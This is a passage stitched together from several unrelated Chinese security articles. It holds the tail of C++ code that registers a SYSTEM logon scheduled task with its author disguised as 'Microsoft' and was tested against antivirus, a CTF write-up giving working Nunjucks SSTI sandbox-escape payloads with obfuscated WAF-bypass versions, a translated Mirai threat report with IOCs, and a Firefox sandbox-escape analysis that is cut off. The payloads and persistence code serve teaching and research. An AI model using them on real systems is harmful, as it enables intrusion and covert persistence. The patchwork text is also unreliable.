HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr))
{
printf("[!] CoInitializeEx failed, error is : %x", hr);
return 1;
}
printf("[*] CoInitializeEx successfully!\n\n");
hr = CoInitializeSecurity(NULL,-1,NULL,NULL,RPC_C_AUTHN_LEVEL_PKT_PRIVACY,RPC_C_IMP_LEVEL_IMPERSONATE,NULL,0,NULL);
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release();
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
hr = pRegInfo->put_Author(L"Microsoft");
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->Release();
ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger);
pTrigger->Release();
hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1"));
IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); //触发程序执行： TASK_ACTION_EXEC
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
hr = pExecAction->put_Path(_bstr_t(FilePath));
pExecAction->Release();
if (FAILED(hr))
{
printf("[!] Set put_path failed, error is : %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("[*] Set put_path successfully!\n\n");
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE, // 创建并覆盖现有的计划任务
_variant_t(L"system"),
_variant_t(),
TASK_LOGON_GROUP, //组激活
_variant_t(L""),
&pRegisteredTask);
if (FAILED(hr))
{
printf("[!] Create Task failed, error is : %x\n\n", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("[*] Create Task successfully!\n\n");
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
}
# 实现效果
这里我为了方便看到效果，把所要创建的计划任务名称当成了参数传入
首先在本机上试一下效果，这里我直接运行的话是不行的，需要管理员权限运行
看一下效果，用管理员是可以创建成功的，我们再试试有杀软的环境会不会拦截
再放到有某数字杀软的情况下测试，首先直接执行sc命令是被拦截的，然后使用我们自己的exe添加计划任务成功
欢迎关注公众号 **红队蓝军** | 社区文章 |
## Nunjucks简介：
Nunjucks 是一个功能丰富、强大的 JavaScript 专用模板引擎。Nunjucks 提供丰富的语言特性和块继承、自动转移、宏和异步控制等等。
重点要关注的是，Nunjucks 模板引擎的代码在沙箱环境中运行，任何全局对象都从环境中剥离出来，以限制可用于跳出沙箱并执行任意代码。因此我们测试
`{{root}}` 或 `{{global}}` 时并没有任何反应，所以说明代码在沙箱环境中运行，而root和global命令并没有跳出沙箱进行RCE。
## Nunjucks基础：
### nunjucks模板注释：
由于nunjucks 模板, 直接以写html 的方式写的模板文件, 因此他的注释可以直接使用html 的注释即可.
#1. 可以编译到html文件中的注释, 直接使用html注释写法
<!-- 我是nunjucks中的注释 -->
#2. nunjucks自己的注释, 只是写模板时的注释, 最后不会编译到html文件中
{# 我是nunjucks 自己的注释 #}
### nunjucks 插值语法：
nunjucks 的插值语法和我们平常写 VUE 的语法一样, 只需要写双大括号{{}} 即可以完成插值引用。html 文件如下.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<h1>我是一级标题</h1>
<!-- 插值引用数据 -->
<p>用户名是:{{username}}</p>
</body>
</html>
### nunjucks 的判断语句：
nunjucks 模板中, 同样可以写判断语句来完成一些判断的基本操作, 只不过判断语句的写法要写在大括号中间的两个百分号里.{% 这里可以写判断语句 %}
, 判断语句的结束时, 一定要写 判断结束语句标识. 即 {% endif %}
具体代码演示如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
{% if num > 3%}
<p>num的值大于 3</p>
{% elseif num < 3%}
<p>num的值小于 3</p>
{% else %}
<p>num的值等于三</p>
{% endif %} <!-- 注意最后一定要写 结束判断的标志 -->
</body>
</html>
### nunjucks 的循环语句：
for in 循环
nunjucks 模板引擎中, 同样存在循环语法用来做一些简单的循环, 但是同样注意要给一个结束循环的标志. {% endfor %}
具体代码演示如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<h1>我是一级标题</h1>
<ul>
{% for item in usersArr%}
<li>
姓名是: {{item.name}}
年龄是: {{item.age}}
</li>
{% endfor %} <!-- 注意在循环结束时,给一个结束的标志-->
</ul>
</body>
</html>
### nunjucks内置的过滤器：
nunjucks 模板引擎中, 存在很多内置过滤器,用来完成我们对数据的一些过滤,筛选和加工的相关操作.
过滤器的写法是需要在 要过滤的数据后通过 管道符号来把过滤器分割开. 并且过滤器还以连续操作, 即在过滤器 1 的后面再写过滤器, 具体代码演示如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<h1>我是一级标题</h1>
<!-- 过滤器1: replace, 把"world"替换为 "你好" -->
<!-- 过滤器2: capitalize, 然后首字母大写 -->
{{str | replace("world","你好") | capitalize}}
</body>
</html>
## 题目描述：
有幸做到了whoami师傅出的web题目，是关于Nunjucks模板的SSTI，我们先来描述一下题目环境：
进入是一个登录框：
随便输入一个用户名和密码即可成功登录：
说明这个题目不是sql注入，题目获取登录的用户名之后便在/user/home中重新输出，所以我们尝试进行模板注入。
首先尝试`{{7*7}}`，发现它成功执行49，于是在确定是什么类型的模板引擎，我们尝试{{}}进行报错，发现是Nunjucks引擎
## 全局函数：
我们如果想进行沙箱逃逸进行代码执行，我们最重要的就是使用沙箱内有的函数进行逃逸，经查阅 Nunjucks 的官方文档可知，Nunjucks
模板引擎中有定义了三个全局函数：range、cycler 和 joiner：全局函数有一些内置的全局函数涵盖了一些常见情况。
### range([start], stop, [step])：
如果您需要迭代一组固定的数字，`range`为您生成一组。数字从`start`（默认值 0）开始并递增`step` （默认值
1）直到达到`stop`，不包括它。
range (start step stop)
{% for i in range(0, 5) -%}
{{ i }},
{%- endfor %}
以上输出 :`0,1,2,3,4`
### cycler(item1, item2, ...itemN):
轮换多个值的一种简单方法是使用`cycler`，它接受任意数量的参数并循环遍历它们。
{% set cls = cycler("odd", "even") %}
{% for row in rows %}
<div class="{{ cls.next() }}">{{ row.name }}</div>
{% endfor %}
在上面的示例中，奇数行的类别为“奇数”，偶数行的类别为“偶数”。您可以访问属性上的当前项`current`（在上例中为`cls.current`）。
### joiner([separator]):
组合多个项目时，通常希望用逗号等分隔它们，但您不想输出第一个项目的分隔符。除非第一次被调用，否则该类将`joiner`输出（默认为“，”）。`separator`
{% set comma = joiner() %}
{% for tag in tags -%}
{{ comma() }} {{ tag }}
{% endfor %}
如果`tags`是`["food", "beer", "dessert"]`，上面的例子将输出`food, beer, dessert`。
## 创建函数：
这三个全局函数是Nunjucks模板中唯一的可调用函数。这里我们需要运用一下Javascript中的语法。下面的内容在我学习的时候感觉有点难理解，很容易绕进去，所以我们分开来看每句话是什么意思。
* 每一个 **对象** 里的 _constructor属性_ 指向这个 **对象** 的==构造函数==本身
* 我们可以用这个==构造函数==创建一个新的 **对象**
* 比如字符串 **对象** ， _constructor属性_ 指向`[Function：String]`（字符串对象的构造函数本身）。
> 'string'.constructor
[Function: String]
>
所以我们就可以用这个构造函数`[Function：String]`来创建一个新的字符串。
* 同理，如果我们获取到了 **一个函数或者方法（统称为对象）** 的==构造函数==
* 那我们就可以用这个==构造函数==创建 **一个新的函数或者方法（统称为对象）**
* 甚至可以创建一个新的匿名函数来执行任意代码。
## 构造函数：
所以我们可以自己构造一个函数：
> function say(word) {
... console.log(word);
... }
undefined
> say.constructor
[Function: Function]
>
* 在代码中say就是我们自己构造的函数`say(word)`，他就是我们上面所说的对象。
* 而`say.constructor`返回的结果`[Function: Function]`其实就是我们所说的： _constructor属性_ 指向这个 **对象** 的==构造函数==本身。
* 然后我们利用这个构造函数 `[Function: Function]` 来创建一个匿名函数实现代码执行：
> say.constructor("return console.log('success')")()
success
undefined
>
* 利用这个原理，我们通过 Nunjucks 提供的那几个全局函数便可以突破 Nunjucks 的沙箱限制并成实现任意代码执行。
* 所以我们就用仅有的几个函数来构造一下自己的函数，然后来实现命令执行。
## 沙箱逃逸：
在逃逸之前我们先学习几个JavaScript中对应的几个基础知识，因为whoami师傅构造的payload中有这些知识，不知道的话，根本不知道怎么构造出来的……
### global预定义全局对象：
* 在 JavaScript 中，`global` 是一个预定义的全局对象。
* 它表示全局作用域，也就是说，在任何地方都可以访问它的属性和方法。
* 在 Node.js 中，`global` 对象的属性和方法可以在任何模块中使用，而不需要使用 `require()` 来导入它们。
例如，在 Node.js 中，您可以使用 `global.process` 来访问 `process` 对象，而不需要使用
`require('process')`
### process：
在Node.js中，`process`是一个全局变量，它提供了许多与当前Node.js进程相关的信息和控制方法。它是Node.js的一个内置模块，用于访问当前Node.js进程的信息和配置。
### MainModule：
* 在Node.js中，每个模块都有一个MainModule。MainModule是Node.js应用程序的入口模块，是Node.js应用程序启动时第一个被执行的模块。
* MainModule通常是我们从命令行启动Node.js应用程序时传递给Node.js的JavaScript文件。
* 在MainModule中，我们可以使用Node.js的全局变量和模块系统来加载其他的模块，从而构建出完整的应用程序。MainModule也可以通过`require.main`属性来获取到，该属性指向当前Node.js应用程序执行的JavaScript文件所对应的模块对象。
* 在MainModule中，我们可以通过`require.main === module`来判断当前模块是否为MainModule。
* 除了MainModule外，每个模块都有自己的模块作用域和模块对象。
* 模块作用域是指模块内部的变量和函数只能在该模块内部使用，而不能被其他模块访问。
* 模块对象是指每个模块都有一个Module对象，该对象包含了当前模块的一些元数据信息，例如模块的ID、文件名、父模块、子模块等信息。
### `child_process`：
* `child_process`是Node.js的一个模块，用于创建新的子进程并与其进行通信。在Node.js中，由于其单线程的特性，无法真正利用多核CPU的优势，因此`child_process`模块提供了一种方式来创建新的进程以充分利用系统资源。 `child_process`模块提供了四种创建子进程的方法：
exec()： 执行一个shell命令，并将结果返回给Node.js。
spawn()：启动一个新的进程，并能够与其进行标准的输入输出通信。
fork()： 启动一个新的Node.js进程，并能够通过IPC通信与其进行交互。
execFile()：类似于exec()，但是可以直接执行一个可执行文件而不需要通过shell解释器
* 通过使用`child_process`模块，我们可以在Node.js中执行外部命令、启动其他的Node.js进程、执行可执行文件等操作，从而实现更加复杂的任务。
* 同时，由于每个子进程都是独立的，因此可以更好地控制进程的资源使用和错误处理，提高应用程序的可靠性和稳定性。
### payload结构：
* {{range.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}
* {{range.constructor("return global.process.mainModule.require('child_process').execSync('ls /').toString()")()}}
我们来分析一下这一行代码的结构。
range.constructor：是range全局函数里的<u>constructor属性</u>指向函数本身，其返回的结果是对应的构造函数，所以我们才能在参数里面进行命令执行，从而实现沙箱逃逸。
global定义全局对象，然后调用process全局变量，然后MainModule来开启模块，来调用其他模块，所以下面就通过require调用了child_process模块，同时使用模块下面的exec函数来执行calc的shell命令，所以打开了计算器。
也可以通过字符串获取到 `[Function: Function]`：
* {{'string'.toString.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}
* {{'string'.constructor.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}
## Bypass：
我们看一下waf：
|joiner|\'|range|root|cycler|constructor|toString|mainModule|main|require|\.|process|exec|object|file|spawn|eval|concat|base|buffer|from|空格
三个函数都被过滤了，我们可以用字符串拼接进行绕过，然后用[]来绕过点的过滤，然后用unicode编码绕过后面的操作。
{{"string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"id\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}
// {{'string'.constructor.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
然后命令可以进行执行了以后，我们来读取flag
{{"string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u006c\\u0061\\u0067\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}
// UrlEncode
%7B%7B%22string%22%5B%22toSt%22%2B%22ring%22%5D%5B%22const%22%2B%22ructor%22%5D(%22return(global%5B%5C%22%5C%5Cu0070%5C%5Cu0072%5C%5Cu006f%5C%5Cu0063%5C%5Cu0065%5C%5Cu0073%5C%5Cu0073%5C%22%5D%5B%5C%22%5C%5Cu006d%5C%5Cu0061%5C%5Cu0069%5C%5Cu006e%5C%5Cu004d%5C%5Cu006f%5C%5Cu0064%5C%5Cu0075%5C%5Cu006c%5C%5Cu0065%5C%22%5D%5B%5C%22%5C%5Cu0072%5C%5Cu0065%5C%5Cu0071%5C%5Cu0075%5C%5Cu0069%5C%5Cu0072%5C%5Cu0065%5C%22%5D(%5C%22%5C%5Cu0063%5C%5Cu0068%5C%5Cu0069%5C%5Cu006c%5C%5Cu0064%5C%5Cu005f%5C%5Cu0070%5C%5Cu0072%5C%5Cu006f%5C%5Cu0063%5C%5Cu0065%5C%5Cu0073%5C%5Cu0073%5C%22)%5B%5C%22%5C%5Cu0065%5C%5Cu0078%5C%5Cu0065%5C%5Cu0063%5C%5Cu0053%5C%5Cu0079%5C%5Cu006e%5C%5Cu0063%5C%22%5D(%5C%22%5C%5Cu0063%5C%5Cu0061%5C%5Cu0074%5C%5Cu0020%5C%5Cu002f%5C%5Cu0066%5C%5Cu006c%5C%5Cu0061%5C%5Cu0067%5C%22)%5B%5C%22%5C%5Cu0074%5C%5Cu006f%5C%5Cu0053%5C%5Cu0074%5C%5Cu0072%5C%5Cu0069%5C%5Cu006e%5C%5Cu0067%5C%22%5D())%22)()%7D%7D
// {{'string'.constructor.constructor("return global.process.mainModule.require('child_process').execSync('cat /flag').toString()")()}} | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/>**
## 前言
通过利用新一代防火墙作为外围传感器检测恶意有效负载和攻击方式，Unit42研究人员就能找出潜在的网络威胁。
Unit42研究人员从两个利用命令注入漏洞揭示IoT攻击模式的活动中发现了四个Mirai变体。
尽管这种通用方法允许研究人员观察整个伤害链，甚至可以获取恶意软件的二进制文件，但这种启发式方法确有其警报：流量指纹识别。由于相似的代码库和基础实现，相似的服务器会产生类似的流量模式。由于服务器可以存在于具有不同配置的多个设备中，而特定设备有多个品牌，因此实时识别易受影响的设备也变得越来越困难。
本文简要分析了观察到的两种loT漏洞以及四种Mirai变体。新一代Palo Alto Networks防火墙可以保护其客户免受网络攻击。
## **利用有效负载包含Mirai变体**
最近一共发现了四个Mirai变体。两个漏洞被作为媒介传递Mirai。传递成功后，调用wget实用程序从恶意软件结构中下载Shell脚本，shell脚本会下载并执行为不同架构编译的多个Mirai二进制文件。
如图1所示，第一个漏洞利用了具有NTP服务器设置功能的Web服务器中的命令注入漏洞。该服务器无法清除HTTP参数NTP_SERVER的值，从而导致执行任意命令。
_图1.通过网络命令注入漏洞_
根据从攻击流量中获得的线索，我们将范围缩小到了一些已知的可通过HTTP同步的IoT设备，并在某些IoT设备的固件中找到了几个易受攻击的NTP服务器处理例程，让人忧虑的是某些供应商没有支持运行上述固件的产品。图2显示了一个在库模块中发现的此类易受攻击的函数。尽管我们分析的固件具有这种不安全功能，但幸运的是，由于这些固件中不存在目标统一的资源标识符（URI），因此它们不受此特定攻击的影响。在我们继续分析可能通过HTTP进行时间同步的其他IoT设备时，对受影响产品的鉴定工作仍在进行中。
_图2.固件中易受攻击的代码片段_
第一个漏洞的攻击事件于2020年7月23日上午05:55:06被观察到。网络攻击（如图1所示）持续了几周，最近一次发生在2020年9月23日下午15:21:23。在撰写本文时已有42个警报。
第二个漏洞的线索少于第一个漏洞；URL和HTTP请求标头提供的有用线索较少。显然，HTTP参数pid中缺少参数清理，这导致命令注入漏洞，如图3所示。我们推测目标服务器是某类远程进程管理工具，因为攻击中的参数模式相似，它可能是实验品，因此使用率较低。
_图3.通过线路命令注入漏洞_
2020年8月16日上午09:04:39至09:04:51，在短短12秒内发生了48起网络攻击事件。这表明此网络攻击是快速且短暂的。
我们将Mirai变体按数字1、2、3、4分组。每个Mirai变体的SHA256可在下表中找到。表1列出了每种变体的交付方法和嵌入式解密密钥。
**Delivery Method** | **Mirai Variant** | **Decryption Key**
---|---|---
Exploit one | Variant One | 0xdeadbeef
Exploit one | Variant Two | 0xdedefbba
Exploit two | Variant Three | 0xdedefbaf
Exploit two | Variant Four | 0xdeadbeef
_表1.交付方式和解密密钥_
尽管这些变体没有完全相同的来源和配置，但它们都具有发起DDoS攻击所需的功能。变体四还具有其他三个变体没有的感染能力，因此它更危险。表2总结了此特定Mirai变体用于感染其他易受攻击主机的利用方式。它继承了[以前变体](https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/)也使用过的漏洞利用程序。
Android debug bridge shell |
[CVE-2019-14931](https://nvd.nist.gov/vuln/detail/CVE-2019-14931) | [Fastweb
Fastgate RCE](https://www.exploit-db.com/exploits/47654)
---|---|---
[ASUS RT-AC66U RCE](https://www.ise.io/research/studies-and-papers/asus_rtn56u/) | [HomeMatic Zentrale CCU2 RCE](https://www.exploit-db.com/exploits/45052) | [EnGenius
RCE](https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/)
[CVE-2013-2251](https://nvd.nist.gov/vuln/detail/CVE-2013-2251) |
[CVE-2015-1187](https://nvd.nist.gov/vuln/detail/CVE-2015-1187) | [Netlink
GPON Router RCE](https://www.exploit-db.com/exploits/48225)
[ThinkPHP RCE](https://www.exploit-db.com/exploits/46150) | [D-Link Router
RCE](https://www.cloudcoffer.com/?p=577) |
[CVE-2020-5722](https://nvd.nist.gov/vuln/detail/CVE-2020-5722)
[Vacron NVR RCE](https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) |
[CVE-2019-16920](https://nvd.nist.gov/vuln/detail/CVE-2019-16920) |
[CVE-2019-10655](https://nvd.nist.gov/vuln/detail/CVE-2019-10655)
[Netgear RCE](https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) |
[CVE-2020-8515](https://nvd.nist.gov/vuln/detail/CVE-2020-8515) | Unknown
Exploit Two
[CVE-2017-18377](https://nvd.nist.gov/vuln/detail/CVE-2017-18377) | [Edimax
EW-7438RPn RCE](https://www.exploit-db.com/exploits/48377) |
[CVE-2020-1956](https://nvd.nist.gov/vuln/detail/CVE-2020-1956)
[CVE-2018-17173](https://nvd.nist.gov/vuln/detail/CVE-2018-17173) |
[CVE-2019-19356](https://nvd.nist.gov/vuln/detail/CVE-2019-19356) | [3Com
OfficeConnect RCE](https://www.exploit-db.com/exploits/9862)
[CVE-2018–13023](https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09) | [NUUO NVRmini
RCE](https://www.exploit-db.com/exploits/45070) |
[CVE-2019-7276](https://nvd.nist.gov/vuln/detail/CVE-2019-7276)
[CVE-2018-19276](https://nvd.nist.gov/vuln/detail/CVE-2018-19276) | [Multiple
IoT RCE](https://github.com/rapid7/metasploit-framework/issues/7076) |
[CVE-2011-3587](https://nvd.nist.gov/vuln/detail/CVE-2011-3587)
[CVE-2016-6277](https://nvd.nist.gov/vuln/detail/CVE-2016-6277) | [Sar2HTML
RCE](https://www.nmmapper.com/st/exploitdetails/47204/41579/sar2html-321-remote-command-execution/) |
[CVE-2018-7841](https://nvd.nist.gov/vuln/detail/CVE-2018-7841)
[CVE-2019-16057](https://nvd.nist.gov/vuln/detail/CVE-2019-16057) | [CCTV-DVR
RCE](https://www.exploit-db.com/exploits/39596) |
_表2.变体四的感染能力_
## **结论**
IoT设备的安全性仍令人担忧。 IoT安全性的一大挑战是，不再受支持的
IoT设备仍在使用中。不幸的是，固件中的缺陷不会随着寿命和支持终止而消失。幸运的是，无论威胁是否已知，Palo Alto
Networks提供以下产品和服务保护其客户免遭此类网络攻击：
* 具有[威胁防护](https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/threat-prevention)许可证的新一代防火墙可以通过最佳实践配置来阻止漏洞和C2通信。
* 为了进行跟踪和保护，[相关的覆盖威胁ID](https://threatvault.paloaltonetworks.com/)为59194和59083。请更新至最新的威胁检测版本。
* [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire)可以通过行为启发方式阻止恶意软件。
* AutoFocus客户可以使用[Mirai](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Mirai)标签跟踪此活动。
* 新一代防火墙[IoT安全](https://www.paloaltonetworks.com/network-security/iot-security)订阅可帮助识别网络上的IoT设备。
## IOCs
#### Mirai Variant One
1b45cf0e6663aa736a2296ff753d8261032b80effcf6b0c4da2f836c2df48f2b
96f3b93b2b4560bbcfc0dbcbcc490d6914eb674d2f745197761ec73121b2f0d9
bae705d860eb190edb7512bc4c9e240b79009ba15464134c0b09e01a4d9c7853
05a5d6929031deed51f2c7ee8936d1e5b82db9126f746ed5e0be28a758675844
7a1a49c077c0600cec0985456c8134196c7e6a09811576896eedd20c03fca9b9
#### Mirai Variant Two
3eadc091b2eafd3c6d6195f20a6755084fa35b72dba9255dbdd0421a5f89380d
13a0c95b6c23a9da188533fa7bf9e438bf74096a97df8d187cecaf579f72478d
94d2caf1b122583a9c3a17b24a0ed6efbc34491c79de231072989eaf938c3985
99408a1a1c40a4db4cfde0f17a6791f16ca102c26ecda8f44501d03541d4b2b2
#### Mirai Variant Three
34fe9ec63e0861a40dd44468fd79d8fa97df0de2b3a70a42de3c26ebfdfea14c
12a1a6f1368c60452e9b0732199521b3c786356bb2cb98289abe8b0c9772940e
c7b846783d8704fa22ba06208066ef4cbde8cb48e07c24fea4cdefc9ba117b3c
#### Mirai Variant Four
6f2f274639439174687b6368b795a999896f20fea9b8c203e4e3af9eeba4d53a
#### Malware Hosting Site
80.82.78.85([zoomeye搜索结果](https://www.zoomeye.org/searchResult?q=80.82.78.85))
185.61.137.165（[zoomeye搜索结果](https://www.zoomeye.org/searchResult?q=185.61.137.165)）
78.142.18.20（[zoomeye搜索结果](https://www.zoomeye.org/searchResult?q=78.142.18.20)）
185.172.110.199（[zoomeye搜索结果](https://www.zoomeye.org/searchResult?q=185.172.110.199)）
#### Mirai C2
dotheneedfull[.]xyz
xyz[.]hxarasxg[.]xyz
lol[.]thezone[.]vip
* * * | 社区文章 |
# CVE-2020-12388：Firefox沙箱逃逸
|
##### 译文声明
本文是翻译文章，文章原作者 James Forshaw，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2020/06/ff-sandbox-escape-cve-2020-12388.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 绪论
在我[上一篇文章](https://googleprojectzero.blogspot.com/2020/04/you-wont-believe-what-this-one-line.html)中讨论了Windows内核对受限令牌的处理方式，利用其中的不当之处可以逃逸Chrome
GPU沙箱。本来我打算用Firefox来做PoC，因为Firefox对其内容渲染进程采用的沙箱级别和Chrome
GPU进程在效果上是相同的。这就表示如果Firefox里有内容进程RCE（远程代码执行漏洞），那就可以在沙箱中执行代码，滥用Windows内核的受限令牌存在的问题，这就要严重得多了。
然而，在研究沙箱逃逸的过程中我发现，Firefox根本无需担心这个问题。就算是Windows的问题修复了，对多进程使用GPU级沙箱也引入了沙箱逃逸的攻击面。本文讨论Chromium沙箱的一些特定行为，以及为何Firefox受到漏洞影响。我还将详细说明我对Chromium沙箱做出的缓解问题的改动，这种缓解方式被Mozilla用来修复我报告的bug。
为便于参考引用，Project Zero对其分配的issue编号是[2016](https://bugs.chromium.org/p/project-zero/issues/detail?id=2016)，Firefox对其分配的的issue编号是[1618911](https://bugzilla.mozilla.org/show_bug.cgi?id=1618911)。Firefox对沙箱有[自己的分级](https://wiki.mozilla.org/Security/Sandbox)，本文写作时，内容沙箱被定为5级，所以后文我就称其为5级沙箱，而不是GPU沙箱。
## 0x01 漏洞成因
问题的根本原因在于，使用5级沙箱，一个内容进程可以打开另一个内容进程进行完全访问。在基于Chromium的浏览器中，这通常不成问题，一次只能运行一个GPU进程，尽管可能同时有其他可访问的非Chromium进程在运行。Chromium中的内容渲染进程使用的沙箱受到更大的限制，并且它们不能打开任何其他进程。
5级沙箱使用受限令牌作为基本的沙箱强制措施。之所以一个内容进程可以访问别的内容进程，是由于进程主令牌的默认DACL导致的。内容进程的默认DACL在[RestrictedToken::GetRestrictedToken](https://cs.chromium.org/chromium/src/sandbox/win/src/restricted_token.cc?l=65&rcl=f3935204227f849df0c15827e65d95348cf1c743)中设置，默认DACL授予以下用户完全访问：
用户 | 访问权
---|---
当前用户 | 完全访问
`NT AUTHORITYSYSTEM` | 完全访问
`NT AUTHORITYRESTRICTED` | 完全访问
Logon SID | 读和执行
默认DACL用于设置初始的进程和线程安全描述符，5级沙箱使用的令牌等级是[USER_LIMITED](https://cs.chromium.org/chromium/src/sandbox/win/src/restricted_token_utils.cc?l=135&rcl=89183689bf398e20364fb78b0db4527e5b9ebb64)，禁用了大多数组，除了：
* 当前用户
* `BUILTINUsers`
* `Everyone`
* `NT AUTHORITYINTERACTIVE`
* Logon SID
除此之外，还加入了下列受限SID：
* `BUILTINUsers`
* `Everyone`
* `NT AUTHORITYRESTRICTED`
* Logon SID.
当前用户组和RESTRICTED受限SID组合在一起，将导致授予对沙箱进程的完全访问。
要理解打开别的内容进程何以成为问题，先要理解Chromium沙箱是怎样初始化新进程的。主令牌在新进程启动时分配，一旦进程启动完毕，主令牌就不能更换了。你可以做删除特权或者降低完整性级别之类的事，但是不能移除组或者增加新的受限SID了。
新启动的沙箱进程需要进行一些初始化操作，而它被授予的受限沙箱令牌的权限可能不足以进行这些操作，所以Chromium用了一个技巧：把一个特权更高的模拟令牌先分配给初始线程，以进行初始化操作。对5级沙箱而言，初始令牌的等级是[USER_RESTRICTED_SAME_ACCESS](https://cs.chromium.org/chromium/src/sandbox/win/src/restricted_token_utils.cc?l=85&rcl=89183689bf398e20364fb78b0db4527e5b9ebb64)，这个等级仅仅是创建了一个没有任何禁用组、所有常规组都被加入到受限SID的令牌，而这样的令牌几乎等同于一个普通令牌，只是被看作是一个受限令牌而已。如果主令牌是受限令牌的话，Windows会阻止设置令牌，但是模拟令牌则不会。
一旦初始化完毕，沙箱就会调用[LowerToken](https://cs.chromium.org/chromium/src/sandbox/win/src/target_services.cc?l=131&rcl=89183689bf398e20364fb78b0db4527e5b9ebb64)函数丢弃模拟令牌，这就意味着从新沙箱进程启动到调用LowerToken之间有一段空窗期，在此期间进程相当于是没有沙箱化的（除了完整性级别是低）。如果在模拟令牌被丢弃前劫持执行流，就可以获得足够权限逃逸沙箱。
与Chrome
GPU进程不同的是，Firefox在正常使用过程中会定期创建一个新的内容进程。创建一个新标签页就会创建一个新进程。因此只要有一个被攻破的内容进程，它就可以等待新进程创建然后立刻劫持之。被攻破的渲染进程应该可以通过IPC调用强制新进程创建，但是我没深入研究过。
借助这些知识，我开发了一个完整的POC，其中使用了许多前篇博文中使用的方法。USER_RESTRICTED_SAME_ACCESS令牌拥有的特权更高，这就使利用过程简化了。比如我们不再需要劫持COM服务器的线程，因为这个更高特权的令牌允许我们直接打开进程。此外，重要的是，我们根本无需逃逸受限沙箱，所以这个漏洞利用不依赖于前篇文章里微软已经修复的内核bug。可以在[issue](https://bugs.chromium.org/p/project-zero/issues/detail?id=2016)里找到完整POC，我在下图中总结了步骤。
## 0x02 漏洞修补
